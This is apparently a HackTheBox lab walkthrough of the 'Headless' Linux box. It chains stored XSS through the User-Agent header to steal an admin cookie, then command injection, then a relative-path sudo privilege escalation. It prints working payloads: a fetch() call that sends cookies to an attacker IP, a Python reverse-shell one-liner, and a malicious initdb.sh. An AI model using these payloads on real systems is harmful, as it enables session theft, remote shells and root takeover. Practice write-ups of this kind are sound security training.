HackTheBox
Headless
OS: Linux | Difficulty: Easy
Table of Contents
Intro
Headless is an easy Linux box featuring a Python web server using Werkzeug.
The machine teaches fundamental web exploitation through a progression of vulnerabilities: Cross-Site Scripting (XSS) via header injection leads to session hijacking, authenticated command injection provides initial access, and a classic relative path exploitation in a privileged script grants root access.
It’s an excellent introduction to chaining multiple vulnerabilities together to achieve full system compromise.
Recon
Initial Scan
Starting off with running an Nmap scan.
sudo nmap -sV -sC -T4 10.129.224.22
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-14 04:23 EST
Nmap scan report for 10.129.224.22
Host is up (0.098s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Under Construction
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.02 seconds
Key Findings:
- SSH on port 22 (standard configuration)
- HTTP service on port 5000 running Werkzeug/Flask (Python 3.11.2)
Directory Enumeration
We also run a directory scan in the background with ffuf, to which we find two pages, support, and dashboard.
ffuf -u http://10.129.224.22:5000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o ffuf.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.224.22:5000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Output file : ffuf.txt
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
support [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 98ms]
dashboard [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 100ms]
Web Application Enumeration
Visiting the target in Firefox, we find a web page with a countdown timer and button that leads to /support.

Visiting /support revealed a contact form with the following fields:
- First Name
- Last Name
- Phone
- Message

Initial Testing:
- SQL Injection: No response indicating vulnerability
- XSS in form fields: Triggered a “Hacking Attempt Detected” message
Initial Access
Stored XSS via User-Agent Header
When attempting XSS payloads in the message field, the application responded with:
Hacking Attempt Detected
Your IP address has been flagged, a report with your browser information
has been sent to the administrators for investigation.
Client Request Information:
Method: POST
URL: http://10.129.224.22:5000/support
Headers: [full request headers displayed]
Key Insight: The message “sent to the administrators” suggested that user input is being stored and viewed in an admin dashboard, making this a potential Stored XSS attack vector.
Exploiting XSS in HTTP Headers
After testing various injection points, discovered that the User-Agent header was vulnerable to XSS and not properly sanitized when displayed in the admin panel.
Attack Setup:
- Set up a listener to capture the admin’s session cookie:
nc -lvnp 1337
- Intercept the POST request to
/supportusing Burp Suite and modify the User-Agent header:
POST /support HTTP/1.1
Host: 10.129.224.22:5000
User-Agent: <img src=x onerror=fetch('http://10.10.14.7:1337/?cookie='+document.cookie)>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://10.129.224.22:5000
Referer: http://10.129.224.22:5000/support
fname=t&lname=t&email=test%40test.com&phone=f&message=f
- Received the admin’s session cookie:
listening on [any] 1337 ...
connect to [10.10.14.7] from (UNKNOWN) [10.129.224.22] 60882
GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1
Host: 10.10.14.7:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: http://localhost:5000/
Origin: http://localhost:5000
Captured Cookie:
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Accessing the Admin Dashboard
Used the stolen cookie to access /dashboard, which revealed a “Generate System Health Report” feature with a date parameter.

Command Injection Discovery
The date parameter in the report generation feature was vulnerable to command injection:
Testing:
date=2024-01-01; id
This confirmed command execution on the server.
Foothold
Reverse Shell
With confirmed command injection, established a reverse shell to gain interactive access.
Setup listener:
nc -lvnp 1337
Payload (injected via date parameter in Burp):
date=; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
From here, we have now gained shell access as user dvir, and can find the user flag immediately.
cat /home/dvir/user.txt
********************************
Privilege Escalation
Sudo Privileges Enumeration
Checked sudo permissions for the current user:
sudo -l
Output:
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Analyzing syscheck
Examined the /usr/bin/syscheck script:
cat /usr/bin/syscheck
Script Contents:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Vulnerability: Relative Path Exploitation
Critical Finding: The script calls ./initdb.sh using a relative path instead of an absolute path. Since syscheck runs with sudo privileges, we can hijack this by creating a malicious initdb.sh in a directory we control.
Exploitation
Created a malicious initdb.sh script in /tmp:
cd /tmp
echo '#!/bin/bash' > initdb.sh
echo '/bin/bash' >> initdb.sh
chmod +x initdb.sh
Executed syscheck from the /tmp directory:
sudo /usr/bin/syscheck
Now from here, we have gained root and can find the root flag in the root directory.
Root Flag
cat /root/root.txt
********************************
Summary
Headless was an excellent beginner-friendly box that demonstrated:
- The importance of testing non-obvious injection points (HTTP headers)
- How stored XSS can lead to session hijacking
- Basic command injection exploitation
- Classic privilege escalation via relative path hijacking
The box emphasised the importance of thorough testing and not rushing to find the “perfect” vulnerability—sometimes the answer is simpler than expected.